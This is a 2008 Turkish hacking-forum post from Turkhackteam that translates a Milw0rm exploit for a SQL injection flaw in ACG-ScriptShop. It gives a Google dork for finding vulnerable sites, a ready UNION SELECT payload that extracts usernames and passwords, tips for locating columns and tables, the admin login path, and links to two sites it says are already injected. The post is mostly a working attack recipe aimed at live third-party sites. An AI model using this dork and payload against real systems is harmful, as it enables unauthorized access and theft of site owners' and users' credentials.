ACG-ScriptShop acıgı sql injection (2008-09-04)

S

sadafa

Yeni üye
11 Tem 2008
46
0
"inurl:index.php?menu=showcat"
kodmuzu googleda aratıoruz...
cıkan sitelerin sonuna sql injection kodmuzu
yada exploitimizi yapıstırıoruz
index.php?menu=showcat&cid=-2+union+select+1,concat_ws(0x3a,username,password),3+from+coders--
sql injection kodu cok war +union+select+0
diyip colonu bulun sonra from diyip tablo adını bulun
bu sitelerde admin girisi
/admin ekleyerek ulasabilirsiniz
kod eklenmis 2 site war ornek:
https://tik.lat/fH0lR
https://tik.lat/5HlXY
Milw0rm daki acıgı yazdım turkceye ben cevirdim.Hack forum sitelerinden alıntı degil
alıntı yapacaklar turkhackteam ı dipnot olarak yazsın!!!
 
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.